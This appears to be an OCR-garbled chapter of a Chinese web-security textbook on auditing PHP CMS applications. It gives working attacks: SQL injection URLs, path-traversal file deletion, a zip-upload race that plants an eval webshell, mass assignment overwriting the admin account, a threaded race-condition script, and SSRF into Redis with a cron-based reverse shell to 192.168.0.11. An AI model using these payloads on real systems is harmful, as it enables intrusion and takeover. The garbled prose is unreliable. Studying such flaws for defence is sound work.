Q, 127.0.0.1/detail.php?name=11111" union select 1,user(),3.4%23
root@Ilocalhost root@localhost LMW ¥R >> root@localhost
2SE
AATER
BXZEA

E7-2 FEANRID
7.1.2 XHEMERRRE

FTIFCMSIRG  ijupload . php XA, ZIEA T A&, SEHRIThRER S MkR
B3, e EAEHKSC, AREBET TR,

if ($_FILES['Filedata']['name'] != "") {

$strOoldFile = $arrGPic['FileSavePath'].'b/'.$_POST['savefilename'];

if (is_file($stroldFile)) {  // JESCHH-MIR

unlink($stroldFile);

}

$_POST[ 'photo'] =
$objWebInit->uploadInfoImage($_FILES['Filedata'],"'',$_POST['FilelListPicSize'],$_P
OST[ 'csize@'],$_POST['id']);
Yelse{

$_POST[ 'photo'] = $_POST[ 'savefilename'];

¥

T2 7 8 558 S 1 A3 77 7% 4% $arrGPic[ FileSavePath'].'b/ F1POST $2 3% ) 3 14 44
$ POST['savefilename'[ZE£:, 2RJ5 His fileOHIWi X2 EFE, WMROFEE, NIMER
JR A, {HiX BAFFER AN A .

o RIG¥EFH FIKS POST['savefilename'|HJ5 4% » Bt LAR] LAME BT G & iHAT 182,

bt aninstall.lock



| 54332

HT7E ZHISH A 367

o MEEALIE“.”, FHATERH L BRERHME R, W././. /data/.
FIFACAER &, FATATLAMIIES_POST('savefilename']= ../../../data/install.lock, It

Bshunlink P& 0t 2 M Pt install.lock .

FIHEFE: BHMPOSTE N % 'savefilename'=../../../data/install.lock, 2R/GHE35 .

190691931254692895610049

Content-Disposition: form-data; name="okgo"
W o

54332
Content-Disposition: form-data; name="savephoto|]"

----190691931254692895610049

1

190691931254692895610049
54332
Content-Disposition: form-data; name="savefilename"

XEBRARR U RUAFEER”, HEHESLZELMERT ../../../data/install.lock 3
4, anE7-3F77R

Date: Mon, 09 Mar 2015 11:37:16 GMT
Server: Apache

X-Powered-By: PHP/5.4.34

Expires: Mon, 09 Mar 2015 11:37:16 GMT
Cache-Control: private

Pragma: no-cache

Last-Modified: Mon, 09 Mar 2015 11:37:16 GMT
Content-Length: 71

Keep-Alive: timeount=5, max=100
Connection: Keep-Alive

Content-Type: text/html; charset=UTF-8

<script>alert (' NHHBFFHEER() ") history.go(-1);

</script>
eolev/../data/install.lock
190691931254692895610049

54332

E7-3 MFRESCH

7.1.3 X EERE

FTIFCMS YRS Frupload. php XX, ZTUHEA T LAE kAR, ARSI TATR .

public function upload() {

if (lisset($GLOBALS['HTTP_RAW_POST DATA'])) {
exit("HEALEHE");

$dir = FCPATH.'member/uploadfile/member/'.$this->uid.'/"; // GIEREF 176%
Xk
if (!file_exists($dir)) {
mkdir($dir, 0777, true);
}
$filename = $dir.'avatar.zip'; // FEf# flashpost B}
file_put_contents($filename, $GLOBALS['HTTP_RAW_POST DATA']);

/] RREGRCA

1

AT B384 P9 25 5] F B https://www.leavesongs.com/PENETRATION/after-phpems -upload-vul. html.
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$this->load->library('Pclzip');
$this->pclzip->PclFile($filename);
if ($this->pclzip->extract(PCLZIP_OPT_PATH, $dir, PCLZIP_OPT_REPLACE_NEWER)
==0) {
exit($this->pclzip->zip(true));

/] BRI FR
$avatararr = array('45x45.jpg', '90x90.jpg');

/! MBEEZREF
$files = glob($dir."*");
foreach($files as $_files) {
if (is_dir($_files)) {
dr_dir_delete($_files);

if (!in_array(basename($_files), $avatararr)) {
@unlink($_files);
}
}

/1 AW, BIBREGEEMEE jpg B
if($handle = opendir($dir)) {
while (false !== ($file = readdir($handle))) {
if ($file l== '.' 8&& $file I== '..") {
if (!in_array($file, $avatararr)) {
@unlink($dir . $file);
} else {
$info = @getimagesize($dir . $file);
if (!$info || $info[2] !=2) {
@unlink($dir . $file);

}
}
X
}
closedir($handle);
}
@unlink($filename);

ERARRE S AR AR I T B o
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°  filg k% HFSdir.

o HPOSTHE (WL RIIELE M) (RAF2I$dir/avatar.zipH .

o AMPcIZipEf# K 4favatar.zip, WRMEERM, BHexit()B HETF .

o WMRMEAEAEEF, WA dir deleteOM 1% H 5.

o SRJEMiIBRavatar.zipFI 3L/ (B T 45x45.jpgF190x90.jpg) -

XBEREGSBEN—ANRE R T EREF TS KM, & LE—Na8 0@
WebShell A, 40F Bz, SR 5 75 SO I 75 21 ST R I Bk 1 3 A I 1] 22 B9 1 1%
A, A4 R H A R — N1 WebShello

<?php
fputs(fopen('../shell.php', 'w'),'<?php @eval($_POST[a]) ?>');
>

THEAMNAE ZFhged 777, LRI FAPCIZipFEf# Kk 4iavatar.zip, 058
fRERM, #tHexitOIRHFERF, JEHFTA MERIEHRASPAT (BIFEMBERCH), X8
IR GEMIE —NES S, FTRUERME —H 0 X, BEMRERTERE K HE,
BERS 237 B — AN ] R : WebShell#h fif & Hi Sk, (B T#EE S, FrLARRF 2exit(),
JETH I MBR B A AT . FIRIXAN T, #AT BAAGT) 4% WebShell.

FIFH L F2 a0 Frw

o VEMIKS, RETEEALBE#HBurp Suitedllf.

o ME—ANEERzip3HE, HhlpngREH, 2.php~5.php#lZEphp X4, U

B 7-4F 7~
& W= 812 - ®REXAH69KB
oo = e S —————————
L L (ERER STk
& 1.png 6.8 KB 6.6 KB PNG 324
&/ 2.php 1KB 1KB PHP 2%
&l 3.php 0KB PHP 3744
& 4php 1KB 1KB PHP 3%
& 5.php 0KB PHP x4

E7-4 zip3xt
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o 7EBurp Suite®', ] “Paste from file” ¥zip XA ENE RETFE A, WK

7-5F7 o
LA |
Host 127.0.0.1 [ Remove l
Content-Length 18324
Origin http://127.0.0.1 |
X-Requested-With ShockwaveFlash/29.0.0.113 |
User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleW... |
Content-Type application/octet-stream It
Accept e v
Referer http://127.0.0.1/1 b ics/; /main.swi
Accept-Encoding gzip, deflate :
Send to Spider
Do an active scan
Send to Intruder Ctri+l
Send to Repeater Ctri+R
Send to Sequencer
Send to Comparer
Send to Decoder
Request in browser
Engagement tools
Change request method
Change body encoding
Copy Ctr+C
Copy URL
Copy as curl command
Copy to file i
1 m m e m | Tvoe a search term l;;‘if__

E7-5 #EzipXHHRAKEER

(4) fEHEXH, ¥ J5 M HIS5.phpSt B THEX A ZE SO R BARIE . WE7-6
MET-TH7R
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5
52 78 02 4a 80
d3 dc fa 3 21 16 Se d9 cb ea 4f cl 9e 4sbOUNATAUESOAD
26 dc b2 be 41 6d Bc 7 9c c6 c3 c5 £ [yORUAmD OEA
34 ¢l 55 0a 16 21 ff 05 50 4b 03 04 14 »B4AUDKOPKDOD
00 00 00 25 57 6f 4c 54 ba 14 76 13 00 00 %Woll’Ovd
00 13 00 00 00 05 00 00 00 32 2¢ 70 68 70 3c 3f OOZphp<?
tfed 70 68 70 20 70 68 70 69 6e 66 6f 29 3b 20 3f phpphpinfo(); ?
lee 3¢ 50 4b 03 04 14 00 00 00 00 00 14 57 6 4c 00 >PKOODOWoL
fef 00 00 00 00 00 00 00 00 0O 00 00 00 00 00 33 o3
#0 2 70 68 70 50 4b 03 04 14 00 00 00 00 25 57 .phpPKOOD%W
M 6 4c 54 ba 14 76 13 00 00 00 13 00 00 00 05 00 olj°mvDOC
M 00 00 34 2 70 68 70 3c 3f 70 68 70 20 70 68 70 4.php<?phpphp
3 69 Ge 66 6f 28 29 3b 20 3 3e 50 4b 03 04 14 00 info(): >PKODD
# 00 00 00 00 44 57 6f 4c 00 00 00 00 00 00 00 00 CWol
45 00 00 00 00 05 00 00 00 35 2 70 68 70 50 4b 01 O5phpPKD
16 02 14 00 14 00 00 00 08 00 75 42 6d 4c a2 bc 7c DODDUBmMLEY
#7 25 68 1a 00 00 57 1b 00 00 05 00 00 00 00 00 00 %hOWOD
% 00 00 00 20 00 00 00 00 00 00 00 31 2 70 6e 1.pg
9 50 4b 01 02 14 00 14 00 00 00 00 00 25 57 6f 4c PKODOD%Wol
Ha 54 ba 14 76 13 00 00 00 13 00 00 00 05 00 00 00 |°ovaDD
i 00 00 00 00 O 00 20 00 00 00 8b fa 00 00 32 2 COD2
Hc 70 68 70 S0 4b 01 02 14 00 14 00 00 00 00 00 14 phpPKCDOIDD
14 57 6f 4c 00 00 00 00 00 00 00 00 00 00 00 00 05 WolD
te 00 00 00 00 00 00 00 00 00 20 00 00 00 c! ta 00 AD
i 00 33 2 70 68 70 50 4b 01 02 14 00 14 00 00 00 3.phpPKIOCTD
200 00 00 25 57 6f 4c 54 ba 14 76 13 00 00 00 13 00 %WolPovaD
201 00 00 05 00 00 00 00 00 ©00 00 O1 00 20 00 00 00 OO
202 o4 1a 00 00 34 2 70 68 70 50 4b 01 02 14 00 14 &C4.phpPKODOO
203 00 00 00 00 00 14 57 6f 4c 00 00 00 00 00 00 00 CWol
204 00 00 00 00 00 05 00 00 00 00 00 00 00 00 00 20
205 00 00 00 1a 1b 00 00 35 2 70 68 70 50 4b 05 06
206 00 00 00 00 05 00 05 00 ff 00 00 00 3d 1b 00 00
207 00 00 - = - = = = = = = = = = = -

E7-6 ERppHEENE

-,

MR S > S HTTP/1.1 500 Intemal Server Error

78 o5 52 7B d1 69 B 73 02 da ed b od 23 B0 M Date: Thy, 15 Mar 2018 07:03:51 GMT

73 de d3 dc fa A 21 16 Se d9 cb ea 4 ci % Tc | Server: Apache/24.23 (Win32) OpenSSL/1.02) PHP/SA4S
f 93 26 dc b2 b 41 64 B 7 9 ¢§ 3 5 B bb X-Powered-By: PHP/S 445

Se 42 34 c1 55 0a 16 21 6 05 50 4b 03 04 1 00 gf"m‘"‘wd':;‘“

MO R0 o e [ AN I SIS IS R I R O 500 Content-Type: text/html; charset=utf-8

13 00 00 00 05 00 00 00 32 2 70 68 70 3 3 70

68 70 20 70 68 T0 63 6e 66 6 28 29 3b 20 I 3e <br />

50 4b 03 04 14 00 00 00 00 00 14 57 & 4c 00 00 <b>Fatal error</b>: Callto undefined method Pezipizip( in
00 00 00 00 00 00 00 00 00 00 05 00 00 00 33 2e O3 <bs “ 0 mber\controliers\Account.php</b> on line
70 68 70 50 4b 03 04 14 00 00 00 00 00 25 57 6f phpPKODO%Wo <b>433</b> <br />

4c 50 ba 14 76 13 00 00 00 13 00 00 00 05 00 00 L]TvOD s i 0 0105 0>
00 34 2 70 68 70 3c X 70 68 70 20 70 63 70 69 4php<?php ph

6o 66 6F 28 20 % 20 F 3¢ 50 4b 03 04 14 00 00 mio); >PKSID <h>A PHP Error was encountered </hd>

00 00 00 14 57 & 4c 00 00 00 00 00 00 00 00 00 CTWol /

00 00 00 05 00 00 00 35 2 70 68 70 50 4b 01 02 C5.phpPKOD !<v>ievaltr&wr</n>

14 00 14 00 00 00 08 00 75 42 6 4c a2 bc 7c 25 OOCUBmLEN% ge: Cuito athad />
6 12 00 00 57 1 00 00 05 00 00 00 00 00 00 00 hOWED (::m’e"‘"':::;’_f'zgzﬂw"‘“‘""""/"’

00 00 20 00 00 00 00 00 00 00 31 2¢ 70 6e 67 50 1

4b 01 02 14 00 14 00 00 00 00 00 25 57 & 4c Sd KOOOOWol]

ba 14 76 13 00 00 00 13 00 00 00 05 00 00 00 00 *DvODD <p>Backtrace:</p>

00 00 00 01 00 20 00 0O 00 8 fa 00 00 32 2 70 DCD2p

68 70 50 4b 01 02 14 00 14 00 00 00 00 00 14 57 hpPKIDDOOW

6 4c 00 00 00 00 00 00 00 00 00 00 00 00 05 00 olD

00 00 00 00 00 00 00 00 20 00 00 00 c1 1a 00 00 AR

33 2 70 68 70 50 4b 01 02 14 00 14 00 00 00 00 3phpPKSDDD

00 25 67 6 4c 54 ba 14 76 13 00 00 00 13 00 00 %WolPovaD

00 05 00 00 00 00 00 00 00 O1 00 20 00 00 00 e¢ DO&

12 00 00 34 2 70 68 70 50 4b 01 02 14 00 14 00 O4phpPKSCOD <>

00 00 00 00 14 57 6 4c 00 00 00 00 00 00 00 00 CWol

00 00,00 00 05 00 00 00 00 00 00 00 00 00 20 00 O <G

00 00 70 50 45 05 05 00 SEDACOTHPKCD

it

®7-7 &¥RE E‘J%H‘E@.I*]e
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o ERIZHESE, BREISERMET-THR, RFRES00HR, HiEHPHPHHH
w, UIRRFREAR RN T . XNERS SN EEERT, TLES], &
DI CEPARIELR T, WET-8fR.

~mber > uploadfile > member > 2 vD #

1.png 2‘p
E7-8 #OXHHEE

FAFHEERES MR, TR, 2KRIE Hextract)HEH KSR
PCLZIP_OPT PATH, PCLZIP OPT PATH, fRFE T E45 4 ERIM H .

3.php avatar.zip

$this->pclzip->extract(PCLZIP_OPT_PATH, $dir, PCLZIP_OPT_REPLACE_NEWER)

PclZip R V¥ B 48 SRR R R AR E, Z4PCLZIP_OPT EXTRACT
DIR_RESTRICTIONF HF R AV ERI18E B3, TAREMERHALH FIHEN.
XERFHAERAEMRE, &AM H S HPCLZIP_OPT_EXTRACT DIR_
RESTRICTION, FrPAFRATA] LAMEIE 430, HA & —aphpHI 3, HEF#
JERT, 2¥a.phpffEE EHEF. HTARRE A Ea phpHISCH, FrLART BUEE
MHEXCR LI .

FH RS RR W TR
o HE—ANE4M, B8 1.pngf2222. php A, nET-9F R .

M 1 (2)zip - AN 69KB

1.png 2222.php

E7-9 E&HEXH
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o f§ Finotepad++3T FFiZ B 46 301, #$2222.phpfEE5 M. ./2.php, GIEI7-10F0 &
7-11Fi78 o

n nnmmonn-m—-zzzz{ php<2php phpinfo();

2> £ K EIRT RS R R IR R R TR ISR . B L 12. | % 1 S TR Y S5 TR () D D T S 3 A (D (R 1
R RS ER AT | . o o 0T CH A A ) R R AR R vo L » (RN RN SR R B S R R O N RN NED
[NULBNULINGLINUEING LN D SR s EN DA CRINULNULINU ENU LS TR N U LIS TN LA U LR DU N N LT L U 3

E7-10 [REE4EH

! R PK G R R A (R A TR R o . | (I N S A ) AR N S RS . - / 2 . php<?php ‘phpinfo();
o VU T INU EENU LN UL SRS NS E N O A C KINU LINULINU LING LISTRING LIS N NG NG N LRI U RN LN G LN L]
E7-11 B ENEREH
o {#fBurp Suite Xi%1ERG, FTLAE R, £ LK BF T EIE T —2.php3 4,
ME7-12F 7R o

rol ber > uploadfile > member > v O | B " me
&R ) EREN ) H
2 2018/3/1519:39  St#Ee
& 2.php 2018/3/1510:57  PHP 374 1KB

E7-12 kI EfEWebShell
7.1.4 ANEERRE
FTFFCMSYERS H ffregin.php 3L, 1Z DL FEMIE, AR

if($_SERVER["REQUEST_METHOD"] == "POST"){

/*

if(!check::validEmail($_POST[ 'email'])){
check::AlertExit ("£#Hi%: WHMAF RO HEFIE!",-1);

}

*/

if(!check::CheckUser($_POST[ 'user_name'])) {
check: :AlertExit ("HINKI AL UAUR 4-21 FRZ AT FE1",-1);

¥

unset($_POST['authCode']);
unset($_POST[ 'password_c']);
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$ _POST[ 'real_name']

i}

strip_tags(trim($_POST[ 'real_name']));
$_POST['user_name'] = strip_tags(trim($_POST['user_name']));
$_POST[ 'nick_name'] = strip_tags(trim($_POST['real_name']));
$ _POST['user_ip'] = check::getIP();
$_POST['submit_date'] = date('Y-m-d H:i:s');
$_POST[ 'session_id'] = session_id();
if(lempty($arrGWeb[ 'user_pass_type']))
$_POST[ 'password' ]=check: :strEncryption($_POST[ 'password'],$arrGWeb[ 'jamstr']);

[l

[}

$intID = $objWebInit->saveInfo($_POST,0,false,true);
echo "<script>alert('E/M5E K
');window.location="{$arrGWeb[ 'WEB_ROOT_pre']}/';</script>";
exit ();
} else {
check: :AlertExit("VEMER ", -1);

BB 2 AW R E P LA T. 7B, AFER
FAEARETRE. T RS _POSTH A Elsavelnfo() B K+, AL FrR .

$intID = $objWebInit->saveInfo($_POST,0,false,true);

ERidtsavelnfo() BB, AAZUW TR,

function saveInfo($arrData,$isModify=false,$isAlert=true,$isMcenter=false){
if($isMcenter)q{
$strData = check::getAPIArray($arrData);
if(!$intUserID =
check: :getAPI( 'mcenter', 'saveInfo',"$strData”$isModify~false")){
if($isAlert) check::AlertExit("5HHF fO@ERER, ERHEBERK!",-1);

return 0;

}
$arr = array();
$arr = check::SqlInjection($this->saveTableFieldG($arrData,$isModify));
if($isModify == 0){
if(!empty($intUserID)) $arr['user_id'] = $intUserID;
if($this->insertUser($arr)){
if(lempty($intUserID)) return $intUserID;
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else return $this->lastInsertIdG();

Yelse{
if($blAlert) check::Alert("Hii%kM");
return false;

}

}else{

if($this->updateUser($arr) !== false){
if($isAlert) check::Alert("EEMU&Ih! ");
else return true;

}else{
if($blAlert) check::Alert("BHULIK");
return false;

i 1T check::getAPI Fi mcenter # ) savelnfo() B& 20 (check::getAPIf{E F /2 i it
call user_func_arrayiff fimcenter.class.php Hsavelnfo() iR %L, HTFARZES, Frblk
F A ).

# Fllmcenter.class.php fisavelnfo()BR £, RS0 T Fis.

function saveInfo($arrData,$isModify=Ffalse,$isAlert=true){

$arr = array();
$arr = check::SqlInjection($this->saveTableFieldG($arrData,$isModify));

if($isModify == 0){
return $this->insertUser($arr);
Yelse{
if($this->updateUser($arr) == false){
if($isAlert) check::Alert("BE&Ih! ");
return true;
}else{
if($blAlert) check::Alert("fB! ");
return false;

savelnfo() B £ 4 i it check::Sqllnjection X} Z £ ¥ Mlladdslashes# X, A J&5 7 A Z|
$this->insertUser($arr), LLALH)Sarrift @& & 83K IS _POST, 4k4E R i#insertUser(),iX

AR g Ml P e S it 2 2]
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HALIES|, {8 FAREPLACE INTOfEASHE, T iw.

public function insertUser($arrData){
$strSQL = "REPLACE INTO $this->tablenamel (";

$strsSQL .= H

$strSQL .= implode('", ', array_keys($arrData));
$strSQL .= '7)';

$strSQL .= " VALUES ('";

$strSQL .= implode("','",$arrData);

$strsQL .= "")";

if ($this->db->exec($strsQL)) {
return $this->db->lastInsertId();
} else {
return false ;
}
}

replace into) T f Finsert 1ML, AR SAET, replace intoH o2 4l A 4R 2
x4,

IRRIE S LA MATHE RETREE MRS, T SMER AT
¥, REWBMAFKELRE: SN, EEmAHEEE.

e, BAEMESEHIREW T, FE T XM .

o ffi FinsertVser()J#f A E4E T &1 1 2$_POST, A &R 2S5,
e HATSQLIBA)N f# F ff 2REPLACE INTO, T4 Zinsert.

R EEXFH R, MATCRINEMEERAT .

FAKS RN T,

o CATHUR, BAVEE FEIEESREIE: B A Muser_id=1 (FEHIBHR
R g user id=1F P REEE R ) , user name=admin, password=123456,
B 7-13F 7R .

ASCHE AR M P 3 BB AL 4 ST
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TS = userid user_name _name ' contact_address 'postcode real_name nick_name
BPid RS NSEA BRI : @i AmEE

password
BREB

SBE 3 EE X R i taani

E7-13 EERER

123456

e Vi LA FURL, $&/niEMTEMR. XEME S Luser id=1, TEMHIBHERAD
BEWSHENY, WSEEFTHRME, wE7-14F7R.

http:/. iser/regin.php

Enable Post data ' Enable Referrer m

user. il=1@163 &mobile=1861111111 210001& d=1234567

_c=123456788user_id=1

El7-14 #iEPOC

o HIABEETEEFHE, TUED, EERMAFLNELCLBERT,
W& 7-150 7R .

«T—+ ¥ userid username corp_name contact.address postcode real_name nick_name 'password
BPid  BRRKE  AFER BREN . BR RRMS BER ERES

2R HEN X BR 1 test 210001

E7-15 MIWENEEEMER

12345678

AU M i A it 25 2T A
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715 ZFLEHIRE

FTIFCMSYENE H I gift.php ST,  EARES I A2 AR 2 S e pi &, K SRERG
Z40 N Blupdate_gift OB+, RIZW0 TR,

function onadd() {
if(isset($this->post['realname'])) {

$realname =strip_tags( $this->post['realname']);
$email = strip_tags( $this->post['email']);
$phone =strip_tags( $this->post['phone']);
$addr =strip_tags( $this->post['addr']);
$postcode =strip_tags( $this->post['postcode’']);
$qq =strip_tags( $this->post[‘qq']);
$notes =strip_tags( $this->post['notes']);
$gid =strip_tags( $this->post['gid']);
$param = array();
if(''==$realname || ''==$email || ''==$phone||"''==%$addr||"' '==$postcode)

$_ENV[ 'user']->update_gift($this->user['uid'],$realname,$email, $phone,$qq);

$_ENV['gift']->addlog($this->user['uid'],$gid,$this->user[ 'username'],$realname,$
this->user['email'], $phone, $addr, $postcode, $gift[ 'title'], $qq,$notes,$gift[ 'credi
t'1);

$this->credit($this->user['uid'],0,-$gift['credit']);//FIRMEE

}

PRiftupdate giftORR%, A0 T FT7R, IR E F k2 $h 1T 3% FEUPDATE,
RS, ISR E, LRI query i IR N BRI, B Atk Ab
A] DA% SR F 22 2R R R 3 4 2R DR T
function update_gift($uid, $realname, $email, $phone, $qq) {

$this->db->query("UPDATE " . DB_TABLEPRE . "user SET
“realname’ ='$realname’, email ='$email’, phone’="$phone', qq ="'$qq"' WHERE
Tuid=$uid");
}

MAERED TR,

ASCAE AR i b FH 3 BRSE G 4 S A
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o EM—AKSIHER, HETHIKS OV EER3S, EARNEBEN30M
BE, EIEWEBL TR LSRRI, WET7-168T7R.

E7-16 H@EiE “MEE"

o ffiHPythondn 5 % A2 4, B 1 threading¥7 #1001 2H2, A5 [FHT
R EHAZE S ORBEMMIEFT A RS RESREBATRZh) » RIS F TR,

import requests
import threading

def pos():
data = {'gid':'1", 'realname’:"test’, 'email':'1@121.com’, 'phone’:'18000000001",
‘addr ' : "%ES%8CH%O7HEA%BABACKES%IS%BFHESKIF%BE " ,
'postcode’:'111111"',"'qq"':'1", 'notes':'1", 'submit':"1"'} cookies={"'tp_sid':'c48b613
f61docedc', 'PHPSESSID':'©392e7b532b5c73768cad77508649407 "', 'tp_auth': 'bef@6n24gY5w
ErVt2S40iVR61HB%2FmwDrProzJ4dzhkdTeTgz2arjMkIn0OxqS%2FQyFzqe61KT7Z7ah6ZmxboX0sje " }

r = requests.post('http://127.06.0.1
/?gift/add.html', cookies=_cookies,data=data)
print(r.text)

for i in range(0,100):
t = threading.Thread(target=pos)
t.start()

IAPATE R, fTUER, CEZ Rk 7 Zim, B E B2k T-205,
& 7-17F B 7-18F 7R -

SO A b FH e B gaE 25 ST P
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E7-17 RIAT (1)

test RIS T L8 "SREEG"
test RIRISHIR T A6 "REIEH"

test QIR T A5 " SREEHH"
E7-18 mRIMHAIT (2)

7.2 BIENR L ST
721 BEEW

FEXS R M B BEAT IS E IR , BFHIKE T 5 & B3k, BX AW E7-19578.

O EAEEER

[iS=H

l |
AN

! |
3ONERS:

E7-19 BRAM

A i M FH i A2 3E 25 2T A6 )
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ZERFAAEEERAES, —&ELT, TEMHEAF R TR IRAE RS
ISUERS, SRJE#ATR /IR, ERKIENAAERF: REARFIE, REK
WERS AT LA— B A o %1 an4# FIBurp SuiteffIRepeater LB —H K IZEF TS,
AR R, WnE7-20FR .

POST /admin/index php?m=Login&a=login HTTP/1.1 - r HTTP/1.1 200 OK
|

Host. . Date:Mon, 19 Mar 2018 00:51:01 GMT
Content-Lengmn: 67 Canmne Amachald 422 247n32) OpenSSL/1.0.2] PHP/SA45
Cache-Cantral: mav ~ag=0

Origin, || Expires: Inu, 19 Nov 1981 08:52:00 GMT
Upgrade-isecura-Kequests: 1 | Cache-Controk: private
Content-Type: application/x-wwy-form-urlencoded Pragma: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Apple\VebKit/537.36 (KHTML, like | Content-Length: 1558
Gecko) Chrome/64.0.3282.119 Safari/537.36 . | Connection: close
Accept: B Content-Type: text/htmi; charset=utf-8
text/html, i t lication/xml;q=0.9,i bp.imag */*q=08 i
Referer: | - dex.php?m=Login&as=login | | <IDOCTYPE html PUBLIC *-//W3C//DTD XHTML 1.0 Transitional//EN"
Accept-Encoaing: gzip, aenate ‘hitpy /ivwwav3.org/TR/xhtmi1/DTD/x<htmi1-transitional.dtd™>
Accept-Language: zh-CN,2hjq=0.9 <htmi>
Connection: close L | <head>
<title> TR </title>
account=admin&password=21232297357 a5a74389420e42801fc3 &verify=1624] <mets http-equiv="Content-Type" content="text/html; charset=utf-8">
1 { <meta http-equiv="Refresh’ content="3;URL=javascripthistory.back{-1);'>
<style>
. html, body g b 14px
| Tahoma,

aftext-decoration:none; color:#174B73; border-bottom:1px dached gray}
athover({color:#F60; border-bottom:1px dashed gray)

div. gi auto Opx clear:b 1px colid
sitver; text-align:conter: width:45%)

pan. gl

span.crror{color:red;font-weight:bold}

<pan.

div.msg{margin:20px Opx}

</style>

</head>
<body>
| <div class="message">
<div class="msq">

I <span class="error"> I{ELR! WEBFFERERM! </span>  </div>
B cdhs rlace="tin"s ¥
E7-20 FALIERDRmE

BMNREZRATUES, KSadminNFLE, AR PRI, FIHZR
TEP T #28 RGEH L FERKS .
NEBE—THREFTERIGEMERKS, FMETHAMSEFH—FHE, &H
KAk, RAWENRKNAER: RHEEEE. W %, WE7-21F75.
EOEE N RS RN N e E

O

@ [zow s e 00 oy trem o
&7-21 #HREHENEGE

RIBEEZRNFHARME BRI E ZREESR, #likjglb. cwb. bgs, KINAASE
FEZKS, WE7-2207R.

ASC AR i b e A8 g 27 2 A
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BERH! BEER!
RENSE 2 PIEEaBEE, MBNESSERE X8 HF

E7-22 FRApP#Es

MEM T EZR R DXL P KW, 2B, @S, %5
BZHRIDNTXLEMREL.

° JEEKS: kjglb. cwb. bgs. xxzx.

o M4 xxx.com.

o HEMBZFLHIEE: SQLIENIF .

BTk, flERANEERN, RERESTSNARFELE, % HKFELR
WA (XFIZE T JB RN 4nF s .

e IR,

o IR

o KS+@/_N'FEHRA, Blinbgs@xxx. bgs_xxxFFo

o KRS+, Billnbgs2015. bgs201655.

o HFEAR/N, HlinBgs2015. Bgs20165.

BEEF A R A ERS, {# FBurpSuite ) Intruder I GE AT B 1R . BT BRI

By EE LMD AR, FTLUE T Z 5 Payloadé in—/MMDSAEE, dnfE
7-23F7N .

Payload Processing

You can define rules to perform various processing tasks on each payload

[ Add | |Enabled |Rule

Hash: MD5
Remove

| Up I

[ Down

E7-23 MD5mMFH

ACHEAR Gl g s St 2 21 AR
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AR IR P bgs D fBgs2016!@#, BRIGE G, FIH LA
BB & WebShellBI A,

7.2.2 SSRF+Redis 315 WebShell

EEAEHIT RS ENRE, %A KD E RS SFER BRI AR, A
RIMCE ) — M3 FAESSREJRIA, @ik dsin—/NMak, #er BLAys i) iy SR 4%,
& 7-24F7 7R

b el 7 BTRY I IPRRSET, L

EHMEAPI  hitpy//127.0.0.1:8888/test S S REAP URL | SVERRA )
[E7-24 SSRFiREiE

T SSREIRA AL E T L BAEE, FrUATUIESRHAHEE, 5|
AW R, 7if1u5$n£ﬁm‘£Redlsﬂ&:’r§ﬁwlﬁ]¢ﬁﬁ B 7-257 7R

el @ m php"uﬂ dlct//192168046319/nfo N

ERR Svntax error, try CLIENT (LIST | KILL ip:port I GETNAME | SETNAME connection- name) 51923 # Server redss v

Rl . Wm"”’

Mv&— W 536952 used_m
s e
E7-25 RedisFkiZHif5 )RR
F T A ) Redis R AR AL U7 1) s TR SR EUR B4 ¥ Shell I A2
o fELinux R, i Hsocatif T K, KiRedis16379% 1 ¥ 88883 M
(HMRNTIEFE RRedisHIEHERL) , LW TR,

socat -v tcp-listen:8888,fork tcp-connect:localhost:6379

o HE—/redis.sh3XfF, WAEW TR,

echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.0.11/2333 0>&1\n\n" |redis-cli
-h 127.0.0.1 -p 8888 -x set 1

redis-cli -h 127.0.0.1 -p 8888 config set dir /var/spool/cron/

redis-cli -h 127.0.0.1 -p 8888 config set dbfilename root

redis-cli -h 127.0.0.1 -p 8888 save

AR M g sl s i 4% 2] A



384 P WebZA L. HiENKERIES

o R4 RF HRedis AR AT H B2 K 34 Shell ¥ v 4, FH H1192.168.0.11
AEECmE b, 2333 85 i 1, B 7-26F17, &5 b FINC #2333
i

E7-26 NCIEYR
SR G &4 T bash redis.sh, $UUT/E, Socatfifi#k FlredisfIdr 4T Frn's

> 2018/03/19 20:55:22.543250 length=86 from=0 to=85
*3\r

$3\r

set\r

$1\r

1\r

$59\r

*¥/1 * * * ¥ bash -i >& /dev/tcp/192.168.0.11/2333 0>&1

\r

< 2018/03/19 20:55:22.544668 length=5 from=0 to=4
+0K\r

> 2018/03/19 20:55:22.547350 length=57 from=0 to=56
*4\r

$6\r

config\r

$3\r

set\r

$3\r

dir\r

$16\r

/var/spool/cron/\r

< 2018/03/19 20:55:22.547568 length=5 from=0 to=4
+0K\r

> 2018/03/19 20:55:22.550036 length=52 from=0 to=51

1 AFTHIE S M %5 5] B B https://joychou.org/web/phpssrf.html.
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*4\r

$6\r

config\r

$3\r

set\r

$10\r

dbfilename\r

$4\r

root\r

< 2018/03/19 20:55:22.550253 length=5 from=0 to=4
+0K\r

> 2018/03/19 20:55:22.552669 length=14 from=0 to=13
*INP

$4\r

save\r

< 2018/03/19 20:55:22.554036 length=5 from=0 to=4
+OK\r

o (EATHEX EAWAE#THSE, TAABW TR,

import sys

poc =
with open('redis.txt') as f:
for line in f.readlines():
if line[@] in '><+':
continue
elif line[-3:-1] == r'\r":
if len(line) == 3:
poc = poc + '%@a%@d%0a’

1]

else:
poc = poc + line.replace(r'\r', '%@d%ea').replace('\n', ''")
elif line == '\x@a':

poc = poc + '%@a'
else:
line = line.replace('\n', '")
poc = poc + line
print(poc)

P AT python3 redis.pyfa, HEIHI4ERE7-2707R.
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E7-27 HHBEHHS

o FEAHF FHcurlZiRX ML TR, fTAERRE4% “+0K” , fXFRedis
WAPATRIN, anE7-28FT7R

curl -v
'gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0al%0d%0a$59%0d%0a%0a%0a
*¥/1 * * * * bash -i >& /dev/tcp/192.168.0.11/2333
0>&1%0a%Pa%0a%0d%0a*4%0d%0a$6%0d%0acontigkOdi%ea$3%0d%0aset%0d%0a$3%0d%Radir%ed%ea
$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0acontigk0d%0a$3%0d%0aset%0d%0a$10%0
d%@adbfilename%@d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%oa

E7-28 mMIFIFAIRedisTER
